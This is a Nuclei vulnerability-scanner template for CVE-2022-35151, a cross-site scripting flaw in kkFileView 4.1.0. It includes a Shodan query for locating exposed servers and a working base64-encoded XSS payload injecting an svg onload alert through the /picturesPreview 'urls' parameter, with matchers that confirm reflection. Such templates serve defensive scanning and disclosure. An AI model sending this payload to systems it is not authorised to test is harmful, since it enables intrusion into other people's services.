nuclei-templates/http/cves/2022/CVE-2022-35151.yaml

55 lines
1.9 KiB
YAML

id: CVE-2022-35151
info:
name: kkFileView 4.1.0 - Cross-Site Scripting
author: arafatansari
severity: medium
description: |
kkFileView 4.1.0 contains multiple cross-site scripting vulnerabilities via the urls and currentUrl parameters at /controller/OnlinePreviewController.java.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement.
remediation: |
To mitigate this vulnerability, it is recommended to update kkFileView to the latest version or apply a patch provided by the vendor.
reference:
- https://github.com/kekingcn/kkFileView/issues/366
- https://nvd.nist.gov/vuln/detail/CVE-2022-35151
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2022-35151
cwe-id: CWE-79
epss-score: 0.01051
epss-percentile: 0.82304
cpe: cpe:2.3:a:keking:kkfileview:4.1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: keking
product: kkfileview
shodan-query: http.html:"kkFileView"
tags: cve,cve2022,xss,kkfileview,keking
http:
- raw:
- |
GET /picturesPreview?urls=aHR0cDovLzEyNy4wLjAuMS8xLnR4dCI%2BPHN2Zy9vbmxvYWQ9YWxlcnQoZG9jdW1lbnQuZG9tYWluKT4%3D HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<svg/onload=alert(document.domain)>'
- '图片预览'
condition: and
- type: word
part: header
words:
- text/html
- type: status
status:
- 200
# digest: 4a0a00473045022100c5aff26e05c097d73b7ac891f02017d01b6c870ca3972f1f969f0a2b3f7bdaba0220623752c91c51def50ca3358dd4d627510de9e6708e83e592852173434d15038b:922c64590222798bb761d5b6d8e72950